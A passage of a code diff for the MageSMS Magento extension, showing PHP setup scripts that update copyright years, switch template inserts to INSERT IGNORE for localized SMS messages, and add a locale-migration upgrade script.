+ ('order_payment_html', 'Bank Transfer Payment Account number: 1234567890 Sort code 1234', 0),
737
+ ('customer_shipping_firstname', 'John', 0),
738
+ ('customer_shipping_lastname', 'DOE', 0),
739
+ ('order_subtotal', '450', 0),
740
+ ('order_shipping_amount', '14', 0),
741
+ ('code', '123456', 0);
742
+ "); if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90 = Mage::helper('magesms')->detectLang(true)) { Mage::getModel('core/config')->saveConfig('magesms/template/language', $i593f9fb6306ab4cdb862f1ef6769504d63647c90); Mage::getConfig()->reinit(); Mage::app()->reinitStores(); } if (!Mage::getStoreConfig('magesms/appId')) { Mage::getModel('core/config')->saveConfig('magesms/appId', 'ms'.mt_rand(1000000,90000000)); Mage::getConfig()->reinit(); Mage::app()->reinitStores(); }
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.0.1-1.0.2.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i195899c9895b81b9bc75dba762c949638a6f36dd = Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', array('like' => 'Cameroon')); if (!$i195899c9895b81b9bc75dba762c949638a6f36dd->count()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("INSERT INTO {$this->getTable('magesms_country')} (`name`, `vat`, `currency`) VALUES ('Cameroon', 0, 'EUR');"); } $i811abf08a05f6439fe133c7d48adeb58f4cd090e = Mage::getModel('magesms/country_area')->getCollection()->addFieldToFilter('area', 237); if (!$i811abf08a05f6439fe133c7d48adeb58f4cd090e->count()) { Mage::getModel('magesms/country_area')->setCountryName('Cameroon')->setArea(237)->save(); } $i0367352fbb593d8cb942a7be1f36e67a806ea12e = Mage::getModel('magesms/country_lang')->getCollection()->addFieldToFilter('country_name', array('like' => 'Cameroon')); if (!$i0367352fbb593d8cb942a7be1f36e67a806ea12e->count()) { Mage::getModel('magesms/country_lang')->setCountryName('Cameroon')->setLang('en-cm')->setIso2('en')->save(); Mage::getModel('magesms/country_lang')->setCountryName('Cameroon')->setLang('fr-cm')->setIso2('en')->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i195899c9895b81b9bc75dba762c949638a6f36dd = Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', array('like' => 'Cameroon')); if (!$i195899c9895b81b9bc75dba762c949638a6f36dd->count()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("INSERT INTO {$this->getTable('magesms_country')} (`name`, `vat`, `currency`) VALUES ('Cameroon', 0, 'EUR');"); } $i811abf08a05f6439fe133c7d48adeb58f4cd090e = Mage::getModel('magesms/country_area')->getCollection()->addFieldToFilter('area', 237); if (!$i811abf08a05f6439fe133c7d48adeb58f4cd090e->count()) { Mage::getModel('magesms/country_area')->setCountryName('Cameroon')->setArea(237)->save(); } $i0367352fbb593d8cb942a7be1f36e67a806ea12e = Mage::getModel('magesms/country_lang')->getCollection()->addFieldToFilter('country_name', array('like' => 'Cameroon')); if (!$i0367352fbb593d8cb942a7be1f36e67a806ea12e->count()) { Mage::getModel('magesms/country_lang')->setCountryName('Cameroon')->setLang('en-cm')->setIso2('en')->save(); Mage::getModel('magesms/country_lang')->setCountryName('Cameroon')->setLang('fr-cm')->setIso2('en')->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.0.3-1.0.4.php CHANGED
@@ -10,11 +10,11 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i195899c9895b81b9bc75dba762c949638a6f36dd = Mage::getModel('magesms/country_lang')->getCollection()->addFieldToFilter('lang', array('like' => 'fr-fr')); if (!$i195899c9895b81b9bc75dba762c949638a6f36dd->count()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("INSERT INTO {$this->getTable('magesms_country_lang')} (`country_name`, `lang`, `iso2`) VALUES ('France', 'fr-fr', 'fr');"); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
- INSERT INTO `{$this->getTable('magesms_hooks')}` (`name`, `info`, `owner`, `group`, `background`, `icon`, `template`, `template2`, `notice`, `lang`) VALUES
18
  ('updateOrderStatus', 'Ενημέρωση κατάστασης παραγγελίας για', 3, 0, '', '', 'Η ΚΑΤΑΣΤΑΣΗ ΤΗΣ ΠΑΡΑΓΓΕΛΙΑΣ {order_id} ΑΛΛΑΞΕ ΣΕ {{order_status_name}}. ΠΛΗΡΟΦ. ΑΠΟ {shop_name}.', 'ΑΓΑΠΗΤΕ ΠΕΛΑΤΗ, Η ΚΑΤΑΣΤΑΣΗ ΤΗΣ ΠΑΡΑΓΓΕΛΙΑΣ ΣΑΣ {order_id} ΑΛΛΑΞΕ ΣΕ {{order_status_name}}. ΝΑ ΕΧΕΤΕ ΜΙΑ ΟΜΟΡΦΗ ΜΕΡΑ, {shop_name}.', ' {customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_vat_number}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, {customer_invoice_vat_number}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}, {order_shipping_number}, {order_reference}, {carrier_name}<br /><br />{employee_id}, {employee_email}', 'el'),
19
  ('customerRegisterSuccess', 'Δημιουργία λογαριασμού πελάτη επιτυχής', 3, 2, '', '', 'Ο πελάτης {customer_firstname} {customer_lastname}, ID: {customer_id}, ΕΧΕΙ ΚΑΝΕΙ ΕΓΓΡΑΦΗ ΣΤΟ {shop_name}.', 'ΑΓΑΠΗΤΕ {customer_firstname} {customer_lastname}, Ο ΛΟΓΑΡΙΑΣΜΟΣ ΣΑΣ ΣΤΟ {shop_name} ΔΗΜΙΟΥΡΓΗΘΗΚΕ ΕΠΙΤΥΧΩΣ ΜΕ ΟΝΟΜΑ ΧΡΗΣΤΗ: {customer_email}. ΝΑ ΕΧΕΤΕ ΜΙΑ ΟΜΟΡΦΗ ΜΕΡΑ!', '{customer_id}, {customer_email}, {customer_lastname}, {customer_firstname}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'el'),
20
  ('newOrder', 'Νέες παραγγελίες', 3, 1, '', '', 'ΝΕΑ ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ {customer_firstname} {customer_lastname}, ID ΠΕΛΑΤΗ: {customer_id}, ID ΠΑΡΑΓΓΕΛΙΑΣ: {order_id}, ΠΛΗΡΩΜΗ ΜΕ: {order_payment}, ΠΟΣΟ: {order_total_paid} {order_currency}. ΠΑΡΑΓΓΕΛΙΑ: {order_products2}. ΠΛΗΡΟΦ. ΑΠΟ {shop_name}.', 'Η ΠΑΡΑΓΓΕΛΙΑΣ ΣΑΣ {order_id} ΔΗΜΙΟΥΡΓΗΘΗΚΕ ΕΠΙΤΥΧΩΣ, ΠΛΗΡΩΜΗ ΜΕ: {order_payment}, ΠΟΣΟ: {order_total_paid} {order_currency}. ΝΑ ΕΧΕΤΕ ΜΙΑ ΟΜΟΡΦΗ ΜΕΡΑ {shop_name}.', '{customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, <br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}<br /><br /> {newOrder1}, {newOrder2}, {newOrder3}, {newOrder4}, {newOrder5}<br /><br />{cart_id}, {customer_message}', 'el'),
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i195899c9895b81b9bc75dba762c949638a6f36dd = Mage::getModel('magesms/country_lang')->getCollection()->addFieldToFilter('lang', array('like' => 'fr-fr')); if (!$i195899c9895b81b9bc75dba762c949638a6f36dd->count()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("INSERT INTO {$this->getTable('magesms_country_lang')} (`country_name`, `lang`, `iso2`) VALUES ('France', 'fr-fr', 'fr');"); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ INSERT IGNORE INTO `{$this->getTable('magesms_hooks')}` (`name`, `info`, `owner`, `group`, `background`, `icon`, `template`, `template2`, `notice`, `lang`) VALUES
18
  ('updateOrderStatus', 'Ενημέρωση κατάστασης παραγγελίας για', 3, 0, '', '', 'Η ΚΑΤΑΣΤΑΣΗ ΤΗΣ ΠΑΡΑΓΓΕΛΙΑΣ {order_id} ΑΛΛΑΞΕ ΣΕ {{order_status_name}}. ΠΛΗΡΟΦ. ΑΠΟ {shop_name}.', 'ΑΓΑΠΗΤΕ ΠΕΛΑΤΗ, Η ΚΑΤΑΣΤΑΣΗ ΤΗΣ ΠΑΡΑΓΓΕΛΙΑΣ ΣΑΣ {order_id} ΑΛΛΑΞΕ ΣΕ {{order_status_name}}. ΝΑ ΕΧΕΤΕ ΜΙΑ ΟΜΟΡΦΗ ΜΕΡΑ, {shop_name}.', ' {customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_vat_number}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, {customer_invoice_vat_number}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}, {order_shipping_number}, {order_reference}, {carrier_name}<br /><br />{employee_id}, {employee_email}', 'el'),
19
  ('customerRegisterSuccess', 'Δημιουργία λογαριασμού πελάτη επιτυχής', 3, 2, '', '', 'Ο πελάτης {customer_firstname} {customer_lastname}, ID: {customer_id}, ΕΧΕΙ ΚΑΝΕΙ ΕΓΓΡΑΦΗ ΣΤΟ {shop_name}.', 'ΑΓΑΠΗΤΕ {customer_firstname} {customer_lastname}, Ο ΛΟΓΑΡΙΑΣΜΟΣ ΣΑΣ ΣΤΟ {shop_name} ΔΗΜΙΟΥΡΓΗΘΗΚΕ ΕΠΙΤΥΧΩΣ ΜΕ ΟΝΟΜΑ ΧΡΗΣΤΗ: {customer_email}. ΝΑ ΕΧΕΤΕ ΜΙΑ ΟΜΟΡΦΗ ΜΕΡΑ!', '{customer_id}, {customer_email}, {customer_lastname}, {customer_firstname}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'el'),
20
  ('newOrder', 'Νέες παραγγελίες', 3, 1, '', '', 'ΝΕΑ ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ {customer_firstname} {customer_lastname}, ID ΠΕΛΑΤΗ: {customer_id}, ID ΠΑΡΑΓΓΕΛΙΑΣ: {order_id}, ΠΛΗΡΩΜΗ ΜΕ: {order_payment}, ΠΟΣΟ: {order_total_paid} {order_currency}. ΠΑΡΑΓΓΕΛΙΑ: {order_products2}. ΠΛΗΡΟΦ. ΑΠΟ {shop_name}.', 'Η ΠΑΡΑΓΓΕΛΙΑΣ ΣΑΣ {order_id} ΔΗΜΙΟΥΡΓΗΘΗΚΕ ΕΠΙΤΥΧΩΣ, ΠΛΗΡΩΜΗ ΜΕ: {order_payment}, ΠΟΣΟ: {order_total_paid} {order_currency}. ΝΑ ΕΧΕΤΕ ΜΙΑ ΟΜΟΡΦΗ ΜΕΡΑ {shop_name}.', '{customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, <br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}<br /><br /> {newOrder1}, {newOrder2}, {newOrder3}, {newOrder4}, {newOrder5}<br /><br />{cart_id}, {customer_message}', 'el'),
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.1.0-1.1.1.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 55)->addFieldToFilter('number', 11); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(55)->setNumber(11)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 55)->addFieldToFilter('number', 11); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(55)->setNumber(11)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.1.1-1.1.2.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 230)->addFieldToFilter('number', 8); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(230)->setNumber(8)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 230)->addFieldToFilter('number', 8); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(230)->setNumber(8)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.2.0-1.2.1.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'order_payment_html'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('order_payment_html')->setTemplate('Bank Transfer Payment Account number: 1234567890 Sort code 1234')->setTranslate(0)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'order_payment_html'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('order_payment_html')->setTemplate('Bank Transfer Payment Account number: 1234567890 Sort code 1234')->setTranslate(0)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.3.1-1.3.2.php CHANGED
@@ -10,11 +10,11 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
- INSERT INTO `{$this->getTable('magesms_hooks')}` (`name`, `info`, `owner`, `group`, `background`, `icon`, `template`, `template2`, `notice`, `lang`) VALUES
18
  ('customerRegisterSuccess', 'Kundkonto skapades med lyckat resultat', 3, 2, '', '', 'Customer {customer_firstname} {customer_lastname}, id: {customer_id}, has just subscribed to {shop_name}.', 'Dear {customer_firstname} {customer_lastname}, your account in {shop_name} was successfully created. Your username: {customer_email}. Have a nice day!', '{customer_id}, {customer_email}, {customer_password}, {customer_lastname}, {customer_firstname}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'sv'),
19
  ('newOrder', 'Nya beställningar', 3, 1, '', '', 'New order from {customer_firstname} {customer_lastname}, customer id: {customer_id}, order id: {order_id}, payment: {order_payment}, amount: {order_total_paid} {order_currency}. Order: {order_products2}. Info from {shop_name}.', 'Your order {order_id} was successfully created, payment: {order_payment}, amount: {order_total_paid} {order_currency}. Have a nice day, {shop_name}.', '{customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, <br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_payment_html}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}<br /><br /> {newOrder1}, {newOrder2}, {newOrder3}, {newOrder4}, {newOrder5}<br /><br />{cart_id}, {customer_message}', 'sv'),
20
  ('updateOrderStatus', 'Uppdatering av beställningsstatus', 3, 0, '', '', 'Status för beställning {order_id} har ändrats till {{order_status_name}}. Information från {shop_name}.', 'Bäste kund, status för din beställning {order_id} har ändrats till {{order_status_name}}. Ha en trevlig dag, {shop_name}.', ' {customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_vat_number}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, {customer_invoice_vat_number}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_payment_html}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}, {order_shipping_number}, {order_reference}, {carrier_name}<br /><br />{employee_id}, {employee_email}', 'sv'),
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ INSERT IGNORE INTO `{$this->getTable('magesms_hooks')}` (`name`, `info`, `owner`, `group`, `background`, `icon`, `template`, `template2`, `notice`, `lang`) VALUES
18
  ('customerRegisterSuccess', 'Kundkonto skapades med lyckat resultat', 3, 2, '', '', 'Customer {customer_firstname} {customer_lastname}, id: {customer_id}, has just subscribed to {shop_name}.', 'Dear {customer_firstname} {customer_lastname}, your account in {shop_name} was successfully created. Your username: {customer_email}. Have a nice day!', '{customer_id}, {customer_email}, {customer_password}, {customer_lastname}, {customer_firstname}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'sv'),
19
  ('newOrder', 'Nya beställningar', 3, 1, '', '', 'New order from {customer_firstname} {customer_lastname}, customer id: {customer_id}, order id: {order_id}, payment: {order_payment}, amount: {order_total_paid} {order_currency}. Order: {order_products2}. Info from {shop_name}.', 'Your order {order_id} was successfully created, payment: {order_payment}, amount: {order_total_paid} {order_currency}. Have a nice day, {shop_name}.', '{customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, <br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_payment_html}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}<br /><br /> {newOrder1}, {newOrder2}, {newOrder3}, {newOrder4}, {newOrder5}<br /><br />{cart_id}, {customer_message}', 'sv'),
20
  ('updateOrderStatus', 'Uppdatering av beställningsstatus', 3, 0, '', '', 'Status för beställning {order_id} har ändrats till {{order_status_name}}. Information från {shop_name}.', 'Bäste kund, status för din beställning {order_id} har ändrats till {{order_status_name}}. Ha en trevlig dag, {shop_name}.', ' {customer_id}, {customer_email}, {customer_company}, {customer_lastname}, {customer_firstname}, {customer_address}, {customer_postcode}, {customer_city}, {customer_country}, {customer_state}, {customer_phone}, {customer_vat_number}, {customer_invoice_company}, {customer_invoice_lastname}, {customer_invoice_firstname}, {customer_invoice_address}, {customer_invoice_postcode}, {customer_invoice_city}, {customer_invoice_country}, {customer_invoice_state}, {customer_invoice_phone}, {customer_invoice_vat_number}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{order_id}, {order_payment}, {order_payment_html}, {order_total_paid}, {order_currency}, {order_date}, {order_date1}, {order_date2}, {order_date3}, {order_date4}, {order_date5}, {order_date6}, {order_date7}, {order_time}, {order_time1}, {order_shipping_number}, {order_reference}, {carrier_name}<br /><br />{employee_id}, {employee_email}', 'sv'),
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.3.6-1.4.0.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 237)->addFieldToFilter('number', 9); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(237)->setNumber(9)->save(); } Mage::getConfig()->reinit(); Mage::app()->reinitStores(); $ie54fcd5470bd7f31f709089290e33bb03e655c25 = array(); foreach (Mage::app()->getStores() as $i3763a59a4c1873eeb396b46caa87140ccb7bc631) { $ia35eb6e21739b9f362d4085ebe7dee274bc421a7 = Mage::getModel('core/store')->load($i3763a59a4c1873eeb396b46caa87140ccb7bc631->getId())->getConfig('general/locale/code'); if (!in_array($ia35eb6e21739b9f362d4085ebe7dee274bc421a7, array_values($ie54fcd5470bd7f31f709089290e33bb03e655c25))) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[] = $ia35eb6e21739b9f362d4085ebe7dee274bc421a7; } } if (count($ie54fcd5470bd7f31f709089290e33bb03e655c25)) { $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); $i3f9de7a8e56927ebf8381b5412baaf4548ab1e62 = Mage::getModel('magesms/hooks_customers')->getCollection()->addFieldToFilter('mutation', array('like' => '__\_%')); foreach ($i3f9de7a8e56927ebf8381b5412baaf4548ab1e62 as $ia95e2cbdd7c4f15529016efe3018555ad75ee3e4) { $ia95e2cbdd7c4f15529016efe3018555ad75ee3e4->isDeleted(true); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($ia95e2cbdd7c4f15529016efe3018555ad75ee3e4); } $i5873f2ce330009cf680967439e8b5bc4dcc47b65 = Mage::getModel('magesms/hooks_customers')->getCollection()->addFieldToFilter('mutation', 'default'); foreach ($i5873f2ce330009cf680967439e8b5bc4dcc47b65 as $i816ffec1f9a32e2bde09d40428fad957ae5edba0) { $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i6a8c141169d48ca0fd1da7ba133093ee034712b6) { $i816ffec1f9a32e2bde09d40428fad957ae5edba0->setMutation($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i816ffec1f9a32e2bde09d40428fad957ae5edba0); $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; } else { $i21e55df616c305955791876c1eb4da83448beba2 = Mage::getModel('magesms/hooks_customers'); 